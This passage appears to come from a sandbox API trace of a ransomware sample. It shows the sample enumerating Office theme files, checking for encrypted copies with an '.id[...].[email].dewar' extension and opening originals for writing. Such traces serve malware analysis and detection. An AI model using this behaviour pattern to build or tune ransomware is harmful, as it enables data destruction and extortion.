shared\\themes14\\radial\\radial.elm")) returned 0x20 [0241.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm")) returned 0x20 [0241.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0241.734] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=586) returned 1 [0241.734] CloseHandle (hObject=0x1b0) returned 1 [0241.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf")) returned 0x20 [0241.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf")) returned 0x20 [0241.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0241.736] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=19563) returned 1 [0241.736] CloseHandle (hObject=0x1b0) returned 1 [0241.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 0x20 [0241.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 0x20 [0241.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0241.738] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1423) returned 1 [0241.738] CloseHandle (hObject=0x1b0) returned 1 [0241.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20 [0241.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20 [0241.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0241.740] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=45838) returned 1 [0241.740] CloseHandle (hObject=0x1b0) returned 1 [0241.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm")) returned 0x20 [0241.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm")) returned 0x20 [0241.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0241.742] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=586) returned 1 [0241.742] CloseHandle (hObject=0x1b0) returned 1 [0241.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf")) returned 0x20 [0241.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf")) returned 0x20 [0241.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0241.744] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=15737) returned 1 [0241.744] CloseHandle (hObject=0x1b0) returned 1 [0241.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 0x20 [0241.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 0x20 [0241.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0241.746] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3970) returned 1 [0241.747] CloseHandle (hObject=0x1b0) returned 1 [0241.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20 [0241.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20 [0241.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0241.982] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=73822) returned 1 [0241.982] CloseHandle (hObject=0x1b0) returned 1 [0241.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm")) returned 0x20 [0241.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm")) returned 0x20 [0241.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.983] SetEvent (hEvent=0x118) returned 1 [0241.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0241.984] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=53115) returned 1 [0241.984] CloseHandle (hObject=0x1b0) returned 1 [0241.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20 [0241.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20 [0241.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0242.001] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2604) returned 1 [0242.001] CloseHandle (hObject=0x1b0) returned 1 [0242.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 0x20 [0242.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 0x20 [0242.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0242.004] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=66016) returned 1 [0242.004] CloseHandle (hObject=0x1b0) returned 1 [0242.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm")) returned 0x20 [0242.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm")) returned 0x20 [0242.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0242.006] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=487) returned 1 [0242.006] CloseHandle (hObject=0x1b0) returned 1 [0242.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf")) returned 0x20 [0242.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf")) returned 0x20 [0242.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0242.012] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=31975) returned 1 [0242.012] CloseHandle (hObject=0x1b0) returned 1 [0242.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20 [0242.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20 [0242.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.013] SetEvent (hEvent=0x118) returned 1 [0242.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0242.014] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4100) returned 1 [0242.014] CloseHandle (hObject=0x1b0) returned 1 [0242.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 0x20 [0242.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 0x20 [0242.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0242.016] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=73271) returned 1 [0242.016] CloseHandle (hObject=0x1b0) returned 1 [0242.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm")) returned 0x20 [0242.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm")) returned 0x20 [0242.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 